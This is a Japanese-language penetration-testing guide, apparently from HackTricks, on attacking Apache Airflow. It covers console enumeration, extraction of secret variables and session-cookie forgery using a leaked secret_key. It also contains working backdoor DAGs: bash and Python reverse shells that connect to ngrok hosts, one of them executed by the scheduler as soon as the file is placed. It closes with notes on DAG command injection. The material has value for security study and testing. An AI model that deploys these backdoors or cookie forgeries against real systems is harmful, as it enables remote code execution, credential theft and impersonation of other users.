# Apache Airflow Security

{{#include ../../banners/hacktricks-training.md}}

### 基本情報

[**Apache Airflow**](https://airflow.apache.org) は、**データパイプラインやワークフローのオーケストレーションとスケジューリング**のためのプラットフォームとして機能します。データパイプラインの文脈における「オーケストレーション」という用語は、さまざまなソースからの複雑なデータワークフローを整理、調整、管理するプロセスを指します。これらのオーケストレーションされたデータパイプラインの主な目的は、処理された消費可能なデータセットを提供することです。これらのデータセットは、ビジネスインテリジェンスツール、データサイエンス、機械学習モデルなど、さまざまなアプリケーションで広く利用されており、ビッグデータアプリケーションの機能にとって基盤となっています。

基本的に、Apache Airflowは、**何かが起こったときにコードの実行をスケジュールすることを可能にします**（イベント、cron）。

### ローカルラボ

#### Docker-Compose

[**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) からの**docker-compose設定ファイルを使用して**、完全なapache airflow docker環境を起動できます。（MacOSを使用している場合は、docker VMに少なくとも6GBのRAMを割り当てることを確認してください）。

#### Minikube

**apache airflowを実行する**簡単な方法の一つは、**minikubeで実行することです**:
```bash
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release
```
### Airflowの設定

Airflowはその設定に**機密情報**を保存する可能性があり、または弱い設定が存在することがあります：

{{#ref}}
airflow-configuration.md
{{#endref}}

### Airflow RBAC

Airflowを攻撃する前に、**権限の仕組み**を理解する必要があります：

{{#ref}}
airflow-rbac.md
{{#endref}}

### 攻撃

#### ウェブコンソールの列挙

**ウェブコンソールにアクセス**できる場合、以下の情報の一部またはすべてにアクセスできる可能性があります：

- **変数**（カスタムの機密情報がここに保存される可能性があります）
- **接続**（カスタムの機密情報がここに保存される可能性があります）
- `http://<airflow>/connection/list/`でアクセス
- [**設定**](./#airflow-configuration)（**`secret_key`**やパスワードなどの機密情報がここに保存される可能性があります）
- **ユーザーと役割のリスト**
- **各DAGのコード**（興味深い情報が含まれている可能性があります）

#### 変数の値を取得

変数はAirflowに保存され、**DAG**がその値に**アクセス**できるようになります。他のプラットフォームの秘密に似ています。**十分な権限**があれば、`http://<airflow>/variable/list/`のGUIでアクセスできます。\
AirflowはデフォルトでGUIに変数の値を表示しますが、[**これ**](https://marclamberti.com/blog/variables-with-apache-airflow/)によると、**値**が**アスタリスク**として表示される**変数のリスト**を設定することが可能です。

![](<../../images/image (164).png>)

しかし、これらの**値**は**CLI**（DBアクセスが必要）、**任意のDAG**の実行、**API**を介して変数エンドポイントにアクセスすること（APIは有効化する必要があります）、さらには**GUI自体**からも**取得**できます！\
GUIからこれらの値にアクセスするには、アクセスしたい**変数を選択**し、**アクション -> エクスポート**をクリックします。\
別の方法は、**検索フィルタリング**を使用して**隠された値**に対して**ブルートフォース**を行い、それを取得することです：

![](<../../images/image (152).png>)

#### 権限昇格

**`expose_config`**設定が**True**に設定されている場合、**ユーザー役割**以上の権限を持つ者は**ウェブで設定を読み取る**ことができます。この設定には**`secret_key`**が含まれており、これに有効なユーザーは**他のユーザーアカウントを偽装するための独自の署名付きクッキーを作成**できます。
```bash
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
#### DAG Backdoor (RCE in Airflow worker)

もし**DAGが保存されている場所**に**書き込みアクセス**がある場合、**リバースシェルを送信する**ものを**作成する**ことができます。\
このリバースシェルは**airflow worker container**内で実行されることに注意してください：
```python
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
```

```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
```
#### DAG バックドア (Airflow スケジューラにおける RCE)

コードのルートで何かを**実行するように設定**すると、この記事を書いている時点で、それは**スケジューラによって実行されます**。DAG のフォルダに配置してから数秒後に実行されます。
```python
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
```
#### DAGの作成

もし**DAGクラスター内のマシンを侵害することができれば**、`dags/`フォルダーに新しい**DAGスクリプト**を作成でき、それが**DAGクラスター内の他のマシンに複製されます**。

#### DAGコードインジェクション

GUIからDAGを実行するときに**引数を渡す**ことができます。\
したがって、DAGが適切にコーディングされていない場合、**コマンドインジェクションに対して脆弱である可能性があります。**\
これがこのCVEで起こったことです: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)

**DAG内のコマンドインジェクションを探し始めるために知っておくべきことは**、**パラメータ**が**コード`dag_run.conf.get("param_name")`で**アクセスされるということです。

さらに、同じ脆弱性が**変数**にも発生する可能性があります（十分な権限があれば、GUIで**変数の値を制御できる**ことに注意してください）。変数は**次のようにアクセスされます**:
```python
from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
例えば、bashコマンド内で使用される場合、コマンドインジェクションを実行することができます。

{{#include ../../banners/hacktricks-training.md}}
